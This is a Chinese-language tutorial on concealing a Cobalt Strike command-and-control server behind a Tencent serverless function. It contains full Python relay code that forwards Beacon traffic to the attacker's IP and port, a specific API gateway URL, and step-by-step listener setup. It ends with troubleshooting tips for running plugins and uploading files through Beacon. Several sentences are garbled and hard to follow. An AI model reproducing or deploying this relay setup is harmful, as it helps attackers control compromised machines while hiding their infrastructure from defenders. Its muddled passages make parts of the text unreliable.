cs利用函数进行主机上线转换后,可以隐藏自己的云函数对css之间的网络转换进行中转,所以在ca中查看域名请求的所有连接时,查看云函数的请求地址,而在css看到了来自云函数的服务员的
我这里使用的是腾讯函数,家庭的云函数也很大不差。我们首先需要注册一个账号,打开其中的云函数功能。
选择自定义创建,名称随意,运行环境python3.6
直接使用网上流传的代码代码
注意替换自己的ip和端口为主机监听的ip和端口
# -*- coding: utf8 -*-
import json,base64,requests
def main_handler(event,context):
C2 = 'http://ip:port'
headers = event['headers']
path = event['path']
ip = event['requestContext']['sourceIp']
headers = event['headers']
headers['X-Forwarded-For'] = ip
print(event)
if event['httpMethod'] == 'GET':
resp = requests.get(C2+path,headers=headers,verify=False)
else:
resp = requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded":True,
"statusCode":resp.status_code,
"headers":dict(resp.headers),
"body":str(base64.b64encode(resp.content))[2:-1]
}
return response
点击完成即可
触发方式选择API网关触发集成请求
提交,获取API配置相关信息
记住访问路径,需要使用
https://service-l6pw2mll-1301629007.sh.apigw.tencentcs.com/release/cs_tencent
点击api服务名,进入配置API
修改路径为/
完成发布服务
添加监听器,这个监听器生成shellcode,但是实际使用不需要连接请求80个端口,也可以使用其他shellcode,生成器连接到腾讯云函数的cs shellcode,则可能需要生成监听器
这里需注意坑点:
HTTP Hosts 是记住的域名部分,不可访问协议和后面的路径
Beacon HTTP端口必须为80,Beacon HTTPS端口必须为443
点击生成
添加监听器二,这个监听器为真正接受Beacon回连的监听器,使用Payload需与监听器一相同
HTTP Hosts 为自己的服务器IP
港口为自己建会港口
需要与云函数代码配置中的IP端口保持一致
点击生成
监听器选择最成先生的监听器一,即监听云域的监听器
这里ip是云中举办的转,所以来源是云中举办的ip
测试的时候使用插件,发现k8大佬的Ladon怎么都用不了,直接上传源程序到Beacon中也无法上传
折腾了好久,最终定位到了问题点
原因是因为此时云函数配置中的把命令连传中,因为Beacon传,转向服务器再将文件中处理所以,等会执行。原因是经过测试,可能上传的kb文件。
时间解决方法很简单,直接拉满就可以了
然后可以正常执行命令
